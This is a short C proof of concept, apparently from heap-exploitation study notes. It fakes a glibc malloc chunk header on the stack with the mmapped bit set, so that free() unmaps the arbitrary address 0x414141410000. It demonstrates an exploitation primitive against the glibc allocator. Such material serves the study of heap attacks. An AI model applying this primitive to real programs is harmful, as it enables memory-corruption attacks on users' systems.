munmap by heap (relative address!)

malloc.mmap.c

// How to call munmap(0x414141410000, 0x20000)
// : the hard way
// tested on 64bit ubuntu

#define SIZE 0x20000

int main() {
    long long chunk[3];
    long long target;
    target = 0x414141410000LL;
    chunk[0] = -target + (long long)(chunk);
    chunk[1] = (SIZE | 2) - chunk[0];
    printf("%p %p %p\n", chunk[0] + chunk[1], (long long int)chunk - chunk[0], target);
    free(chunk + 2);
}